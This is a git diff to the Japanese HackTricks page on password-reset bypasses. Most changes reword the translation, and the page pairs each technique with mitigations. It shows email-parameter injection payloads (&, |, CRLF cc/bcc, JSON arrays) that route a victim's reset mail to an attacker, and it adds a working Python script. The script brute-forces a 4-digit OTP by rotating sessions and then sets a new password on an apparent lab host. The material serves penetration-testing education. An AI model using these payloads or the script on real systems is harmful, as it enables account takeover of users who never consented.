diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index c459fcc9a..195f458a6 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -1,12 +1,12 @@ -# パスワードリセット/忘れたパスワードのバイパス +# リセット/忘れたパスワードのバイパス {{#include ../banners/hacktricks-training.md}} ## **リファラーによるパスワードリセットトークンの漏洩** -- HTTPリファラーヘッダーは、URLに含まれている場合、パスワードリセットトークンを漏洩させる可能性があります。これは、ユーザーがパスワードリセットをリクエストした後に、サードパーティのウェブサイトリンクをクリックしたときに発生する可能性があります。 +- HTTPリファラーヘッダーは、URLに含まれている場合、パスワードリセットトークンを漏洩させる可能性があります。これは、ユーザーがパスワードリセットを要求した後にサードパーティのウェブサイトリンクをクリックしたときに発生する可能性があります。 - **影響**: クロスサイトリクエストフォージェリ(CSRF)攻撃によるアカウントの乗っ取りの可能性。 -- **悪用**: リファラーヘッダーにパスワードリセットトークンが漏洩しているか確認するには、**パスワードリセットを**自分のメールアドレスにリクエストし、**提供されたリセットリンクをクリック**します。**すぐにパスワードを変更しないでください**。代わりに、**Burp Suiteを使用してリクエストを傍受しながら、サードパーティのウェブサイト**(FacebookやTwitterなど)に**移動します**。リクエストを検査して、**リファラーヘッダーにパスワードリセットトークンが含まれているか**確認します。これにより、第三者に機密情報が露出する可能性があります。 +- **悪用**: リファラーヘッダーにパスワードリセットトークンが漏洩しているか確認するには、**パスワードリセットを**自分のメールアドレスに要求し、**提供されたリセットリンクをクリック**します。**すぐにパスワードを変更しないでください**。代わりに、**Burp Suiteを使用してリクエストを傍受しながら、サードパーティのウェブサイト**(FacebookやTwitterなど)に**移動します**。リクエストを検査して、**リファラーヘッダーにパスワードリセットトークンが含まれているか**確認します。これにより、第三者に機密情報が露出する可能性があります。 - **参考文献**: - [HackerOne Report 342693](https://hackerone.com/reports/342693) - [HackerOne Report 272379](https://hackerone.com/reports/272379) @@ -14,20 +14,20 @@ ## **パスワードリセットポイズニング** -- 攻撃者は、パスワードリセットリクエスト中にHostヘッダーを操作して、リセットリンクを悪意のあるサイトに指向させる可能性があります。 +- 攻撃者は、パスワードリセットリクエスト中にHostヘッダーを操作して、リセットリンクを悪意のあるサイトに向けることがあります。 - **影響**: リセットトークンが攻撃者に漏洩することによるアカウントの乗っ取りの可能性。 - **緩和策**: - 許可されたドメインのホワイトリストに対してHostヘッダーを検証します。 -- 絶対URLを生成するために、安全なサーバーサイドの方法を使用します。 +- 絶対URLを生成するために安全なサーバーサイドの方法を使用します。 - **パッチ**: `$_SERVER['HTTP_HOST']`の代わりに`$_SERVER['SERVER_NAME']`を使用してパスワードリセットURLを構築します。 - **参考文献**: - [パスワードリセットポイズニングに関するAcunetixの記事](https://www.acunetix.com/blog/articles/password-reset-poisoning/) -## **メールパラメータを操作してのパスワードリセット** +## **メールパラメータを操作してパスワードリセット** 攻撃者は、リセットリンクを誘導するために追加のメールパラメータを追加することで、パスワードリセットリクエストを操作できます。 -- 攻撃者のメールを第二のパラメータとして&を使用して追加します。 +- &を使用して攻撃者のメールを2番目のパラメータとして追加します。 ```php POST /resetPassword [...] @@ -39,19 +39,19 @@ POST /resetPassword [...] email=victim@email.com%20email=attacker@email.com ``` -- 攻撃者のメールアドレスを2番目のパラメータとして|を使用して追加します。 +- 攻撃者のメールアドレスを2番目のパラメータとして追加します | ```php POST /resetPassword [...] email=victim@email.com|email=attacker@email.com ``` -- 攻撃者のメールアドレスを2番目のパラメータとしてccを使用して追加します。 +- 攻撃者のメールアドレスを2番目のパラメータとしてccで追加します。 ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dcc:attacker@mail.tld" ``` -- 攻撃者のメールアドレスを2番目のパラメータとしてbccを使用して追加します。 +- 攻撃者のメールアドレスを第二のパラメータとしてbccを使用して追加します。 ```php POST /resetPassword [...] @@ -70,8 +70,8 @@ POST /resetPassword {"email":["victim@mail.tld","atracker@mail.tld"]} ``` - **緩和手順**: -- サーバー側でメールパラメータを適切に解析および検証します。 -- インジェクション攻撃を防ぐために、プリペアードステートメントまたはパラメータ化クエリを使用します。 +- サーバー側でメールパラメータを適切に解析し、検証する。 +- インジェクション攻撃を防ぐために、プリペアードステートメントまたはパラメータ化クエリを使用する。 - **参考文献**: - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) @@ -85,31 +85,31 @@ POST /api/changepass [...] ("form": {"email":"victim@email.tld","password":"12345678"}) ``` -- **緩和手段**: +- **緩和策**: - 厳格なパラメータ検証と認証チェックを確保する。 - 不審な活動を検出し対応するために、堅牢なログ記録と監視を実装する。 -- **参考文献**: +- **参照**: - [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) ## **レート制限なし: メールボンピング** - パスワードリセットリクエストにレート制限がないと、ユーザーがリセットメールで圧倒されるメールボンピングが発生する可能性がある。 -- **緩和手段**: +- **緩和策**: - IPアドレスまたはユーザーアカウントに基づいてレート制限を実装する。 - 自動化された悪用を防ぐためにCAPTCHAチャレンジを使用する。 -- **参考文献**: +- **参照**: - [HackerOne Report 280534](https://hackerone.com/reports/280534) ## **パスワードリセットトークンの生成方法を調べる** -- トークン生成のパターンや方法を理解することで、トークンを予測したりブルートフォース攻撃を行ったりできる。いくつかのオプション: +- トークン生成のパターンや方法を理解することで、トークンを予測したりブルートフォース攻撃を行うことができる。いくつかのオプション: - タイムスタンプに基づく - ユーザーIDに基づく - ユーザーのメールに基づく -- 名字と姓に基づく +- 名前と姓に基づく - 生年月日に基づく - 暗号に基づく -- **緩和手段**: +- **緩和策**: - トークン生成に強力な暗号化手法を使用する。 - 予測可能性を防ぐために十分なランダム性と長さを確保する。 - **ツール**: Burp Sequencerを使用してトークンのランダム性を分析する。 @@ -122,51 +122,115 @@ POST /api/changepass uuid-insecurities.md {{#endref}} -- **緩和手段**: +- **緩和策**: - ランダム性のためにGUIDバージョン4を使用するか、他のバージョンに対して追加のセキュリティ対策を実装する。 - **ツール**: [guidtool](https://github.com/intruder-io/guidtool)を使用してGUIDを分析および生成する。 ## **レスポンス操作: 悪いレスポンスを良いものに置き換える** - エラーメッセージや制限を回避するためにHTTPレスポンスを操作する。 -- **緩和手段**: +- **緩和策**: - レスポンスの整合性を確保するためにサーバー側のチェックを実装する。 - 中間者攻撃を防ぐためにHTTPSのような安全な通信チャネルを使用する。 -- **参考文献**: +- **参照**: - [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) ## **期限切れトークンの使用** - 期限切れのトークンがパスワードリセットにまだ使用できるかどうかをテストする。 -- **緩和手段**: -- 厳格なトークンの有効期限ポリシーを実装し、サーバー側でトークンの有効期限を検証する。 +- **緩和策**: +- 厳格なトークン有効期限ポリシーを実装し、サーバー側でトークンの有効期限を検証する。 -## **パスワードリセットトークンのブルートフォース** +## **ブルートフォースパスワードリセットトークン** - BurpsuiteやIP-Rotatorのようなツールを使用してリセットトークンをブルートフォースし、IPベースのレート制限を回避しようとする。 -- **緩和手段**: +- **緩和策**: - 堅牢なレート制限とアカウントロックアウトメカニズムを実装する。 - ブルートフォース攻撃を示す不審な活動を監視する。 ## **トークンを使用してみる** - 攻撃者のリセットトークンが被害者のメールと一緒に使用できるかどうかをテストする。 -- **緩和手段**: +- **緩和策**: - トークンがユーザーセッションまたは他のユーザー固有の属性にバインドされていることを確認する。 ## **ログアウト/パスワードリセット時のセッション無効化** - ユーザーがログアウトまたはパスワードをリセットしたときにセッションが無効化されることを確認する。 -- **緩和手段**: +- **緩和策**: - 適切なセッション管理を実装し、ログアウトまたはパスワードリセット時にすべてのセッションが無効化されることを確保する。 ## **ログアウト/パスワードリセット時のセッション無効化** - リセットトークンには、有効期限が設定され、その後無効になるべきである。 -- **緩和手段**: +- **緩和策**: - リセットトークンの合理的な有効期限を設定し、サーバー側で厳格に施行する。 -## 参考文献 +## **セッションを変更してOTPレート制限を回避** + +- ウェブサイトがユーザーセッションを使用して誤ったOTPの試行を追跡しており、OTPが弱い(<= 4桁)場合、効果的にOTPをブルートフォースできる。 +- **悪用**: +- サーバーによってブロックされた後に新しいセッショントークンをリクエストするだけ。 +- **例** コードは、セッションを変更するとOTPも変更されるため、OTPをランダムに推測してこのバグを悪用します(したがって、連続してブルートフォースすることはできません!): + +``` python +# パスワードリセットによる認証バイパス +# by coderMohammed +import requests +import random +from time import sleep + +headers = { +"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1", +"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea" +} +url = "http://10.10.12.231:1337/reset_password.php" +logout = "http://10.10.12.231:1337/logout.php" +root = "http://10.10.12.231:1337/" + +parms = dict() +ter = 0 +phpsessid = "" + +print("[+] 攻撃を開始します!") +sleep(3) +print("[+] これが完了するまで約5分かかる場合があります!") + +try: +while True: +parms["recovery_code"] = f"{random.randint(0, 9999):04}" # 0 - 9999のランダムな数(4桁) +parms["s"] = 164 # 重要ではなく、フロントエンドにのみ影響する +res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) + +if ter == 8: # 試行回数に従う +out = requests.get(logout,headers=headers) # ログアウトする +mainp = requests.get(root) # 別のphpssid(トークン)を取得する + +cookies = out.cookies # セッションIDを抽出する +phpsessid = cookies.get('PHPSESSID') +headers["cookies"]=f"PHPSESSID={phpsessid}" # 新しいセッションでヘッダーを更新する + +reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # パスワード変更のためにメールを送信する +ter = 0 # 8回の試行後に新しいセッションを取得するためにterをリセット +else: +ter += 1 +if(len(res.text) == 2292): # リカバリーコードが正しく取得されたときのページの長さ(テストによって得られた) +print(len(res.text)) # デバッグ情報 +print(phpsessid) + +reset_data = { # ここでパスワードを新しいものに変更する +"new_password": "D37djkamd!", +"confirm_password": "D37djkamd!" +} +reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers) + +print("[+] パスワードがD37djkamd!に変更されました!") +break +except Exception as e: +print("[+] 攻撃が停止しました") +``` + +## 参照 - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)